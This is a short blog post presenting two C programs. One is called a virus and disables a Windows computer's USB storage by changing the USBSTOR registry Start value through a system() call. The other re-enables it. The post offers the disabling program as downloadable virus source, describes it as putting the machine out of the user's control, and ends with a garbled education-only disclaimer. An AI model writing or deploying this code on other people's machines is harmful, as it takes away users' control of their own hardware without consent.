Saturday, May 11, 2013

disable usb ports by virus program

in this post we are going to see , how virus programs disable and enable the virus programs.virus that disables the USB ports on the computer (PC). As usual, I am using my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result you’ll will not be able to use your pen drive or any other USB peripheral devices on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

i am going to give you two programs one is for block the usb ports and another program for unblocking the usb ports

program 1: blocking the usb's

#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}


Explanation :

just i made change in regisrty attributes to disable usb ports

program 2: enable the usb devices

#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

Explanation :

just i made change in regisrty attributes to enable usb ports


conclusion :

so far we have seen how the virus programs are manipulated, you can observe that virus is a simple program which makes the machine to be out control of user..
in this next post we will see how the antivirus programs works ants its scenarios ..

NOTE :

The articles in this blog are completely for education purpose only, In any manner the author /blog do not intent to encourage to do hacking over the network,In case any sense the issues caused by you, the author responsible for your work ,its your own risk  please have a kind sense and be ETHICAL  




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